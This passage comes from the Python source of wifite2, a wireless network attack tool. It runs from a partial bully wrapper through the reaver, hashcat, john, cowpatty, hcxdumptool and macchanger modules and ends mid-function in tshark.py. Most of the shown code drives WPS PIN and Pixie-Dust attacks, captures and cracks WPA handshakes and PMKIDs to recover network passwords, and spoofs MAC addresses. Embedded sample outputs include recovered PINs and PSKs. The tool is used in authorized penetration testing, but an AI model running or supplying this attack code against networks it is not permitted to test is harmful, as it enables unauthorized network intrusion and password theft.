per pin) re_tested = re.search(r'Run time ([0-9:]+), pins tested ([0-9])+', line) if re_tested: # group(1)=01:23:45, group(2)=1234 self.total_attempts = int(re_tested.group(2)) #[!] Current rate 5.28 seconds per pin, 07362 pins remaining re_remaining = re.search(r' ([0-9]+) pins remaining', line) if re_remaining: self.pins_remaining = int(re_remaining.group(1)) # [!] Average time to crack is 5 hours, 23 minutes, 55 seconds re_eta = re.search( r'time to crack is (\d+) hours, (\d+) minutes, (\d+) seconds', line) if re_eta: h, m, s = re_eta.groups() self.eta = '%sh%sm%ss' % ( h.rjust(2, '0'), m.rjust(2, '0'), s.rjust(2, '0')) # [!] WPS lockout reported, sleeping for 43 seconds ... re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line) if re_lockout: self.locked = True sleeping = re_lockout.group(1) state = '{R}WPS Lock-out: {O}Waiting %s seconds...{W}' % sleeping # [Pixie-Dust] WPS pin not found re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line) if re_pin_not_found: state = '{R}Failed: {O}Bully says "WPS pin not found"{W}' # [+] Running pixiewps with the information, wait ... re_running_pixiewps = re.search(r".*Running pixiewps with the information", line) if re_running_pixiewps: state = '{G}Running pixiewps...{W}' return state def stop(self): if hasattr(self, 'pid') and self.pid and self.pid.poll() is None: self.pid.interrupt() def __del__(self): self.stop() @staticmethod def get_psk_from_pin(target, pin): # Fetches PSK from a Target assuming 'pin' is the correct PIN ''' bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon PIN : '01030365' KEY : 'password' BSSID : '34:21:09:01:92:7c' ESSID : 'AirLink89300' ''' cmd = [ 'bully', '--channel', target.channel, '--bssid', target.bssid, '--pin', pin, '--bruteforce', '--force', Configuration.interface ] bully_proc = Process(cmd) for line in bully_proc.stderr().split('\n'): key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line) if key_re is not None: psk = key_re.group(1) return psk return None if __name__ == '__main__': Configuration.initialize() Configuration.interface = 'wlan0mon' from ..model.target import Target fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',') target = Target(fields) psk = Bully.get_psk_from_pin(target, '01030365') print('psk', psk) ''' stdout = " [*] Pin is '11867722', key is '9a6f7997'" Configuration.initialize(False) from ..model.target import Target fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',') target = Target(fields) b = Bully(target) b.parse_line(stdout) ''' ================================================ FILE: wifite/tools/cowpatty.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..config import Configuration from ..util.color import Color from ..util.process import Process from ..tools.hashcat import HcxPcapTool import os import re class Cowpatty(Dependency): ''' Wrapper for Cowpatty program. ''' dependency_required = False dependency_name = 'cowpatty' dependency_url = 'https://tools.kali.org/wireless-attacks/cowpatty' @staticmethod def crack_handshake(handshake, show_command=False): # Crack john file command = [ 'cowpatty', '-f', Configuration.wordlist, '-r', handshake.capfile, '-s', handshake.essid ] if show_command: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) process = Process(command) stdout, stderr = process.get_output() key = None for line in stdout.split('\n'): if 'The PSK is "' in line: key = line.split('"', 1)[1][:-2] break return key ================================================ FILE: wifite/tools/dependency.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- class Dependency(object): required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required'] # https://stackoverflow.com/a/49024227 def __init_subclass__(cls): for attr_name in cls.required_attr_names: if not attr_name in cls.__dict__: raise NotImplementedError( 'Attribute "{}" has not been overridden in class "{}"' \ .format(attr_name, cls.__name__) ) @classmethod def exists(cls): from ..util.process import Process return Process.exists(cls.dependency_name) @classmethod def run_dependency_check(cls): from ..util.color import Color from .airmon import Airmon from .airodump import Airodump from .aircrack import Aircrack from .aireplay import Aireplay from .ifconfig import Ifconfig from .iwconfig import Iwconfig from .bully import Bully from .reaver import Reaver from .wash import Wash from .pyrit import Pyrit from .tshark import Tshark from .macchanger import Macchanger from .hashcat import Hashcat, HcxDumpTool, HcxPcapTool apps = [ # Aircrack Aircrack, #Airodump, Airmon, Aireplay, # wireless/net tools Iwconfig, Ifconfig, # WPS Reaver, Bully, # Cracking/handshakes Pyrit, Tshark, # Hashcat Hashcat, HcxDumpTool, HcxPcapTool, # Misc Macchanger ] missing_required = any([app.fails_dependency_check() for app in apps]) if missing_required: Color.pl('{!} {O}At least 1 Required app is missing. Wifite needs Required apps to run{W}') import sys sys.exit(-1) @classmethod def fails_dependency_check(cls): from ..util.color import Color from ..util.process import Process if Process.exists(cls.dependency_name): return False if cls.dependency_required: Color.p('{!} {O}Error: Required app {R}%s{O} was not found' % cls.dependency_name) Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url) return True else: Color.p('{!} {O}Warning: Recommended app {R}%s{O} was not found' % cls.dependency_name) Color.pl('. {W}install @ {C}%s{W}' % cls.dependency_url) return False ================================================ FILE: wifite/tools/hashcat.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..config import Configuration from ..util.process import Process from ..util.color import Color import os class Hashcat(Dependency): dependency_required = False dependency_name = 'hashcat' dependency_url = 'https://hashcat.net/hashcat/' @staticmethod def should_use_force(): command = ['hashcat', '-I'] stderr = Process(command).stderr() return 'No devices found/left' in stderr @staticmethod def crack_handshake(handshake, show_command=False): # Generate hccapx hccapx_file = HcxPcapTool.generate_hccapx_file( handshake, show_command=show_command) key = None # Crack hccapx for additional_arg in ([], ['--show']): command = [ 'hashcat', '--quiet', '-m', '2500', hccapx_file, Configuration.wordlist ] if Hashcat.should_use_force(): command.append('--force') command.extend(additional_arg) if show_command: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) process = Process(command) stdout, stderr = process.get_output() if ':' not in stdout: continue else: key = stdout.split(':', 5)[-1].strip() break if os.path.exists(hccapx_file): os.remove(hccapx_file) return key @staticmethod def crack_pmkid(pmkid_file, verbose=False): ''' Cracks a given pmkid_file using the PMKID/WPA2 attack (-m 16800) Returns: Key (str) if found; `None` if not found. ''' # Run hashcat once normally, then with --show if it failed # To catch cases where the password is already in the pot file. for additional_arg in ([], ['--show']): command = [ 'hashcat', '--quiet', # Only output the password if found. '-m', '16800', # WPA-PMKID-PBKDF2 '-a', '0', # Wordlist attack-mode pmkid_file, Configuration.wordlist ] if Hashcat.should_use_force(): command.append('--force') command.extend(additional_arg) if verbose and additional_arg == []: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) # TODO: Check status of hashcat (%); it's impossible with --quiet hashcat_proc = Process(command) hashcat_proc.wait() stdout = hashcat_proc.stdout() if ':' not in stdout: # Failed continue else: # Cracked key = stdout.strip().split(':', 1)[1] return key class HcxDumpTool(Dependency): dependency_required = False dependency_name = 'hcxdumptool' dependency_url = 'https://github.com/ZerBea/hcxdumptool' def __init__(self, target, pcapng_file): # Create filterlist filterlist = Configuration.temp('pmkid.filterlist') with open(filterlist, 'w') as filter_handle: filter_handle.write(target.bssid.replace(':', '')) if os.path.exists(pcapng_file): os.remove(pcapng_file) command = [ 'hcxdumptool', '-i', Configuration.interface, '--filterlist', filterlist, '--filtermode', '2', '-c', str(target.channel), '-o', pcapng_file ] self.proc = Process(command) def poll(self): return self.proc.poll() def interrupt(self): self.proc.interrupt() class HcxPcapTool(Dependency): dependency_required = False dependency_name = 'hcxpcaptool' dependency_url = 'https://github.com/ZerBea/hcxtools' def __init__(self, target): self.target = target self.bssid = self.target.bssid.lower().replace(':', '') self.pmkid_file = Configuration.temp('pmkid-%s.16800' % self.bssid) @staticmethod def generate_hccapx_file(handshake, show_command=False): hccapx_file = Configuration.temp('generated.hccapx') if os.path.exists(hccapx_file): os.remove(hccapx_file) command = [ 'hcxpcaptool', '-o', hccapx_file, handshake.capfile ] if show_command: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) process = Process(command) stdout, stderr = process.get_output() if not os.path.exists(hccapx_file): raise ValueError('Failed to generate .hccapx file, output: \n%s\n%s' % ( stdout, stderr)) return hccapx_file @staticmethod def generate_john_file(handshake, show_command=False): john_file = Configuration.temp('generated.john') if os.path.exists(john_file): os.remove(john_file) command = [ 'hcxpcaptool', '-j', john_file, handshake.capfile ] if show_command: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) process = Process(command) stdout, stderr = process.get_output() if not os.path.exists(john_file): raise ValueError('Failed to generate .john file, output: \n%s\n%s' % ( stdout, stderr)) return john_file def get_pmkid_hash(self, pcapng_file): if os.path.exists(self.pmkid_file): os.remove(self.pmkid_file) command = [ 'hcxpcaptool', '-z', self.pmkid_file, pcapng_file ] hcxpcap_proc = Process(command) hcxpcap_proc.wait() if not os.path.exists(self.pmkid_file): return None with open(self.pmkid_file, 'r') as f: output = f.read() # Each line looks like: # hash*bssid*station*essid # Note: The dumptool will record *anything* it finds, ignoring the filterlist. # Check that we got the right target (filter by BSSID) matching_pmkid_hash = None for line in output.split('\n'): fields = line.split('*') if len(fields) >= 3 and fields[1].lower() == self.bssid: # Found it matching_pmkid_hash = line break os.remove(self.pmkid_file) return matching_pmkid_hash ================================================ FILE: wifite/tools/ifconfig.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import re from .dependency import Dependency class Ifconfig(Dependency): dependency_required = True dependency_name = 'ifconfig' dependency_url = 'apt-get install net-tools' @classmethod def up(cls, interface, args=[]): '''Put interface up''' from ..util.process import Process command = ['ifconfig', interface] if type(args) is list: command.extend(args) elif type(args) is 'str': command.append(args) command.append('up') pid = Process(command) pid.wait() if pid.poll() != 0: raise Exception('Error putting interface %s up:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) @classmethod def down(cls, interface): '''Put interface down''' from ..util.process import Process pid = Process(['ifconfig', interface, 'down']) pid.wait() if pid.poll() != 0: raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr())) @classmethod def get_mac(cls, interface): from ..util.process import Process output = Process(['ifconfig', interface]).stdout() # Mac address separated by dashes mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1] match = re.search(' ({})'.format(mac_dash_regex), output) if match: return match.group(1).replace('-', ':') # Mac address separated by colons mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] match = re.search(' ({})'.format(mac_colon_regex), output) if match: return match.group(1) raise Exception('Could not find the mac address for %s' % interface) ================================================ FILE: wifite/tools/iwconfig.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency class Iwconfig(Dependency): dependency_required = True dependency_name = 'iwconfig' dependency_url = 'apt-get install wireless-tools' @classmethod def mode(cls, iface, mode_name): from ..util.process import Process pid = Process(['iwconfig', iface, 'mode', mode_name]) pid.wait() return pid.poll() @classmethod def get_interfaces(cls, mode=None): from ..util.process import Process interfaces = set() iface = '' (out, err) = Process.call('iwconfig') for line in out.split('\n'): if len(line) == 0: continue if not line.startswith(' '): iface = line.split(' ')[0] if '\t' in iface: iface = iface.split('\t')[0].strip() iface = iface.strip() if len(iface) == 0: continue if mode is None: interfaces.add(iface) if mode is not None and 'Mode:{}'.format(mode) in line and len(iface) > 0: interfaces.add(iface) return list(interfaces) ================================================ FILE: wifite/tools/john.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..config import Configuration from ..util.color import Color from ..util.process import Process from ..tools.hashcat import HcxPcapTool import os class John(Dependency): ''' Wrapper for John program. ''' dependency_required = False dependency_name = 'john' dependency_url = 'http://www.openwall.com/john/' @staticmethod def crack_handshake(handshake, show_command=False): john_file = HcxPcapTool.generate_john_file(handshake, show_command=show_command) # Use `john --list=formats` to find if OpenCL or CUDA is supported. formats_stdout = Process(['john', '--list=formats']).stdout() if 'wpapsk-opencl' in formats_stdout: john_format = 'wpapsk-opencl' elif 'wpapsk-cuda' in formats_stdout: john_format = 'wpapsk-cuda' else: john_format = 'wpapsk' # Crack john file command = [ 'john', '--format=%s' % john_format, '--wordlist', Configuration.wordlist, john_file ] if show_command: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) process = Process(command) process.wait() # Run again with --show to consistently get the password command = ['john', '--show', john_file] if show_command: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) process = Process(command) stdout, stderr = process.get_output() # Parse password (regex doesn't work for some reason) if '0 password hashes cracked' in stdout: key = None else: for line in stdout.split('\n'): if handshake.capfile in line: key = line.split(':')[1] break if os.path.exists(john_file): os.remove(john_file) return key ================================================ FILE: wifite/tools/macchanger.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..tools.ifconfig import Ifconfig from ..util.color import Color class Macchanger(Dependency): dependency_required = False dependency_name = 'macchanger' dependency_url = 'apt-get install macchanger' is_changed = False @classmethod def down_macch_up(cls, iface, options): '''Put interface down, run macchanger with options, put interface up''' from ..util.process import Process Color.clear_entire_line() Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface) Ifconfig.down(iface) Color.clear_entire_line() Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface) command = ['macchanger'] command.extend(options) command.append(iface) macch = Process(command) macch.wait() if macch.poll() != 0: Color.pl('\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command)) Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr())) return False Color.clear_entire_line() Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface) Ifconfig.up(iface) return True @classmethod def get_interface(cls): # Helper method to get interface from configuration from ..config import Configuration return Configuration.interface @classmethod def reset(cls): iface = cls.get_interface() Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface) # -p to reset to permanent MAC address if cls.down_macch_up(iface, ['-p']): new_mac = Ifconfig.get_mac(iface) Color.clear_entire_line() Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) @classmethod def random(cls): from ..util.process import Process if not Process.exists('macchanger'): Color.pl('{!} {R}macchanger: {O}not installed') return iface = cls.get_interface() Color.pl('\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface) # -r to use random MAC address # -e to keep vendor bytes the same if cls.down_macch_up(iface, ['-e']): cls.is_changed = True new_mac = Ifconfig.get_mac(iface) Color.clear_entire_line() Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface)) @classmethod def reset_if_changed(cls): if cls.is_changed: cls.reset() ================================================ FILE: wifite/tools/pyrit.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..util.process import Process import re class Pyrit(Dependency): ''' Wrapper for Pyrit program. ''' dependency_required = False dependency_name = 'pyrit' dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki' def __init__(self): pass @staticmethod def bssid_essid_with_handshakes(capfile, bssid=None, essid=None): if not Pyrit.exists(): return [] command = [ 'pyrit', '-r', capfile, 'analyze' ] pyrit = Process(command, devnull=False) current_bssid = current_essid = None bssid_essid_pairs = set() ''' #1: AccessPoint 18:a6:f7:31:d2:06 ('TP-LINK_D206'): #1: Station 08:66:98:b2:ab:28, 1 handshake(s): #1: HMAC_SHA1_AES, good, spread 1 #2: Station ac:63:be:3a:a2:f4 ''' for line in pyrit.stdout().split('\n'): mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] match = re.search("^#\d+: AccessPoint (%s) \('(.*)'\):$" % (mac_regex), line) if match: # We found a new BSSID and ESSID (current_bssid, current_essid) = match.groups() if bssid is not None and bssid.lower() != current_bssid: current_bssid = None current_essid = None elif essid is not None and essid != current_essid: current_bssid = None current_essid = None elif current_bssid is not None and current_essid is not None: # We hit an AP that we care about. # Line does not contain AccessPoint, see if it's 'good' if ', good' in line: bssid_essid_pairs.add( (current_bssid, current_essid) ) return list(bssid_essid_pairs) ================================================ FILE: wifite/tools/reaver.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from .airodump import Airodump from .bully import Bully # for PSK retrieval from ..model.attack import Attack from ..config import Configuration from ..model.wps_result import CrackResultWPS from ..util.color import Color from ..util.process import Process from ..util.timer import Timer import os, time, re class Reaver(Attack, Dependency): dependency_required = False dependency_name = 'reaver' dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x' def __init__(self, target, pixie_dust=True): super(Reaver, self).__init__(target) self.pixie_dust = pixie_dust self.progress = '0.00%' self.state = 'Initializing' self.locked = False self.total_attempts = 0 self.total_timeouts = 0 self.total_wpsfails = 0 self.last_pins = set() self.last_line_number = 0 self.crack_result = None self.output_filename = Configuration.temp('reaver.out') if os.path.exists(self.output_filename): os.remove(self.output_filename) self.output_write = open(self.output_filename, 'a') self.reaver_cmd = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '-vv' ] if pixie_dust: self.reaver_cmd.extend(['--pixie-dust', '1']) self.reaver_proc = None @staticmethod def is_pixiedust_supported(): ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' output = Process(['reaver', '-h']).stderr() return '--pixie-dust' in output def run(self): ''' Returns True if attack is successful. ''' try: self._run() # Run-loop except Exception as e: # Failed with error self.pattack('{R}Failed:{O} %s' % str(e), newline=True) return self.crack_result is not None # Stop reaver if it's still running if self.reaver_proc.poll() is None: self.reaver_proc.interrupt() # Clean up open file handle if self.output_write: self.output_write.close() return self.crack_result is not None def _run(self): self.start_time = time.time() with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wps=True, output_file_prefix='pixie') as airodump: # Wait for target self.pattack('Waiting for target to appear...') self.target = self.wait_for_target(airodump) # Start reaver self.reaver_proc = Process(self.reaver_cmd, stdout=self.output_write, stderr=Process.devnull()) # Say "yes" if asked to restore session. self.reaver_proc.stdin('y\n') # Loop while reaver is running while self.crack_result is None and self.reaver_proc.poll() is None: # Refresh target information (power) self.target = self.wait_for_target(airodump) # Update based on reaver output stdout = self.get_output() self.state = self.parse_state(stdout) self.parse_failure(stdout) # Print status line self.pattack(self.get_status()) # Check if we cracked it self.crack_result = self.parse_crack_result(stdout) # Check if locked if self.locked and not Configuration.wps_ignore_lock: raise Exception('{O}Access point is {R}Locked{W}') time.sleep(0.5) # Check if crack result is in output stdout = self.get_output() self.crack_result = self.parse_crack_result(stdout) # Show any failures found if self.crack_result is None: self.parse_failure(stdout) if self.crack_result is None and self.reaver_proc.poll() is not None: raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll()) def get_status(self): if self.pixie_dust: main_status = '' else: # Include percentage main_status = '({G}%s{W}) ' % self.progress # Current state (set in parse_* methods) main_status += self.state # Counters, timeouts, failures, locked. meta_statuses = [] if self.total_timeouts > 0: meta_statuses.append('{O}Timeouts:%d{W}' % self.total_timeouts) if self.total_wpsfails > 0: meta_statuses.append('{O}Fails:%d{W}' % self.total_wpsfails) if self.locked: meta_statuses.append('{R}Locked{W}') if len(meta_statuses) > 0: main_status += ' (%s)' % ', '.join(meta_statuses) return main_status def parse_crack_result(self, stdout): if self.crack_result is not None: return self.crack_result (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if pin is not None: # We cracked it. if psk is not None: # Reaver provided PSK self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True) else: self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True) # Try to derive PSK from PIN using Bully self.pattack('{W}Retrieving PSK using {C}bully{W}...') psk = None try: psk = Bully.get_psk_from_pin(self.target, pin) except KeyboardInterrupt: pass if psk is None: Color.pl('') self.pattack('{R}Failed {O}to get PSK using bully', newline=True) else: self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True) crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) crack_result.dump() return crack_result return None def parse_failure(self, stdout): # Total failure if 'WPS pin not found' in stdout: raise Exception('Reaver says "WPS pin not found"') # Running-time failure if self.pixie_dust and self.running_time() > Configuration.wps_pixie_timeout: raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout) # WPSFail count self.total_wpsfails = stdout.count('WPS transaction failed') if self.total_wpsfails >= Configuration.wps_fail_threshold: raise Exception('Too many failures (%d)' % self.total_wpsfails) # Timeout count self.total_timeouts = stdout.count('Receive timeout occurred') if self.total_timeouts >= Configuration.wps_timeout_threshold: raise Exception('Too many timeouts (%d)' % self.total_timeouts) def parse_state(self, stdout): state = self.state # Check last line for current status stdout_last_line = stdout.split('\n')[-1] # [+] Waiting for beacon from AA:BB:CC:DD:EE:FF if 'Waiting for beacon from' in stdout_last_line: state = 'Waiting for beacon' # [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: NETGEAR07) elif 'Associated with' in stdout_last_line: state = 'Associated' elif 'Starting Cracking Session.' in stdout_last_line: state = 'Started Cracking' # [+] Trying pin "01235678" elif 'Trying pin' in stdout_last_line: state = 'Trying PIN' # [+] Sending EAPOL START request elif 'Sending EAPOL START request' in stdout_last_line: state = 'Sending EAPOL' # [+] Sending identity response elif 'Sending identity response' in stdout_last_line: state = 'Sending ID' self.locked = False # [+] Sending M2 message elif 'Sending M' in stdout_last_line: for num in ['2', '4', '6']: if 'Sending M%s message' % num in stdout_last_line: state = 'Sending M%s' % num if num == '2' and self.pixie_dust: state += ' / Running pixiewps' self.locked = False # [+] Received M1 message elif 'Received M' in stdout_last_line: for num in ['1', '3', '5', '7']: if 'Received M%s message' % num in stdout_last_line: state = 'Received M%s' % num self.locked = False # [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking elif 'Detected AP rate limiting,' in stdout_last_line: state = 'Rate-Limited by AP' self.locked = True # Parse all lines since last check stdout_diff = stdout[self.last_line_number:] self.last_line_number = len(stdout) # Detect percentage complete # [+] 0.05% complete @ 2018-08-23 15:17:23 (42 seconds/pin) percentages = re.findall( r"([0-9.]+%) complete .* \(([0-9.]+) seconds/pin\)", stdout_diff) if len(percentages) > 0: self.progress = percentages[-1][0] # Calculate number of PINs tried # [+] Trying pin "01235678" new_pins = set(re.findall(r'Trying pin "([0-9]+)"', stdout_diff)) if len(new_pins) > 0: self.total_attempts += len(new_pins.difference(self.last_pins)) self.last_pins = new_pins # TODO: Look for "Sending M6 message" which indicates first 4 digits are correct. return state def pattack(self, message, newline=False): # Print message with attack information. if self.pixie_dust: time_left = Configuration.wps_pixie_timeout - self.running_time() time_msg = '{O}%s{W}' % Timer.secs_to_str(time_left) attack_name = 'Pixie-Dust' else: time_left = self.running_time() time_msg = '{C}%s{W}' % Timer.secs_to_str(time_left) attack_name = 'PIN Attack' if self.total_attempts > 0 and not self.pixie_dust: time_msg += ' {D}PINs:{W}{C}%d{W}' % self.total_attempts Color.clear_entire_line() Color.pattack('WPS', self.target, attack_name, '{W}[%s] %s' % (time_msg, message)) if newline: Color.pl('') def running_time(self): return int(time.time() - self.start_time) @staticmethod def get_pin_psk_ssid(stdout): ''' Parses WPS PIN, PSK, and SSID from output ''' pin = psk = ssid = None # Check for PIN. ''' [+] WPS pin: 11867722 ''' regex = re.search(r"WPS pin:\s*([0-9]+)", stdout, re.IGNORECASE) if regex: pin = regex.group(1) if pin is None: ''' [+] WPS PIN: '11867722' ''' regex = re.search(r"WPS PIN:\s*'([0-9]+)'", stdout, re.IGNORECASE) if regex: pin = regex.group(1) # Check for PSK. # Note: Reaver 1.6.x does not appear to return PSK (?) ''' [+] WPA PSK: 'password' ''' regex = re.search(r"WPA PSK:\s*'(.+)'", stdout) if regex: psk = regex.group(1) # Check for SSID '''1.x [Reaver Test] [+] AP SSID: 'Test Router' ''' regex = re.search(r"AP SSID:\s*'(.*)'", stdout) if regex: ssid = regex.group(1) # Check (again) for SSID if ssid is None: '''1.6.x [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e)''' regex = re.search(r"Associated with [0-9A-F:]+ \(ESSID: (.*)\)", stdout) if regex: ssid = regex.group(1) return (pin, psk, ssid) def get_output(self): ''' Gets output from reaver's output file ''' if not self.output_filename: return '' if self.output_write: self.output_write.flush() with open(self.output_filename, 'r') as fid: stdout = fid.read() if Configuration.verbose > 1: Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n'))) return stdout.strip() if __name__ == '__main__': old_stdout = ''' [Pixie-Dust] [Pixie-Dust] Pixiewps 1.1 [Pixie-Dust] [Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 [Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 [Pixie-Dust] [+] WPS pin: 12345678 [Pixie-Dust] [Pixie-Dust] [*] Time taken: 0 s [Pixie-Dust] Running reaver with the correct pin, wait ... Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402 [Reaver Test] BSSID: AA:BB:CC:DD:EE:FF [Reaver Test] Channel: 11 [Reaver Test] [+] WPS PIN: '12345678' [Reaver Test] [+] WPA PSK: 'Test PSK' [Reaver Test] [+] AP SSID: 'Test Router' ''' # From vom513 in https://github.com/derv82/wifite2/issues/60 new_stdout = ''' [+] Switching wlan1mon to channel 5 [+] Waiting for beacon from EC:1A:59:37:70:0E [+] Received beacon from EC:1A:59:37:70:0E [+] Vendor: RealtekS [+] Trying pin "12345670" [+] Sending authentication request [+] Sending association request [+] Associated with EC:1A:59:37:70:0E (ESSID: belkin.00e) [+] Sending EAPOL START request [+] Received identity request [+] Sending identity response [+] Received M1 message [+] Sending M2 message Pixiewps 1.4 [?] Mode: 3 (RTL819x) [*] Seed N1: - [*] Seed ES1: - [*] Seed ES2: - [*] PSK1: 2c2e33f5e3a870759f0aeebbd2792450 [*] PSK2: 3f4ca4ea81b2e8d233a4b80f9d09805d [*] ES1: 04d48dc20ec785762ce1a21a50bc46c2 [*] ES2: 04d48dc20ec785762ce1a21a50bc46c2 [+] WPS pin: 11867722 [*] Time taken: 0 s 21 ms executing pixiewps -e d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b -s 5a67001334e3e4cb236f4e134a4d3b48d625a648e991f978d9aca879469d5da5 -z c8a2ccc5fb6dc4f4d69b245091022dc7e998e42ec1d548d57c35a312ff63ef20 -a 60b59c0c587c6c44007f7081c3372489febbe810a97483f5cc5cd8463c3920de -n 04d48dc20ec785762ce1a21a50bc46c2 -r 7a191e22a7b519f40d3af21b93a21d4f837718b45063a8a69ac6d16c6e5203477c18036ca01e9e56d0322e70c2e1baa66518f1b46d01acc577d1dfa34efd2e9ee36e2b7e68819cddacceb596a8895243e33cb48c570458a539dcb523a4d4c4360e158c29b882f7f385821ea043705eb56538b45daa445157c84e60fc94ef48136eb4e9725b134902b96c90b1ae54cbd42b29b52611903fdae5aa88bfc320f173d2bbe31df4996ebdb51342c6b8bd4e82ae5aa80b2a09a8bf8faa9a8332dc9819 ''' pin_attack_stdout = ''' [+] Pin cracked in 16 seconds [+] WPS PIN: '01030365' [+] WPA PSK: 'password' [+] AP SSID: 'AirLink89300' ''' (pin, psk, ssid) = Reaver.get_pin_psk_ssid(old_stdout) assert pin == '12345678', 'pin was "%s", should have been "12345678"' % pin assert psk == 'Test PSK', 'psk was "%s", should have been "Test PSK"' % psk assert ssid == 'Test Router', 'ssid was %s, should have been Test Router' % repr(ssid) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result.dump() print('') (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout) assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin assert psk is None, 'psk was "%s", should have been "None"' % psk assert ssid == 'belkin.00e', 'ssid was "%s", should have been "belkin.00e"' % repr(ssid) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result.dump() print('') (pin, psk, ssid) = Reaver.get_pin_psk_ssid(pin_attack_stdout) assert pin == '01030365', 'pin was "%s", should have been "01030365"' % pin assert psk == 'password', 'psk was "%s", should have been "password"' % psk assert ssid == 'AirLink89300', 'ssid was "%s", should have been "AirLink89300"' % repr(ssid) result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result.dump() print('') ================================================ FILE: wifite/tools/tshark.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..model.target import WPSState from ..util.process import Process import re class Tshark(Dependency): ''' Wrapper for Tshark program. ''' dependency_required = False dependency_name = 'tshark' dependency_url = 'apt-get install wireshark' def __init__(self): pass @staticmethod def _extract_src_dst_index_total(line): # Extract BSSIDs, handshake # (1-4) and handshake 'total' (4) mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] match = re.search('(%s)\s*.*\s*(%s).*Message.*(\d).*of.*(\d)' % (mac_regex, mac_regex), line) if match is None: # Line doesn't contain src, dst, Message numbers return None, None, None, None (src, dst, index, total) = match.groups() return src, dst, index, total @staticmethod def _build_target_client_handshake_map(output, bssid=None): # Map of target_ssid,client_ssid -> handshake #s # 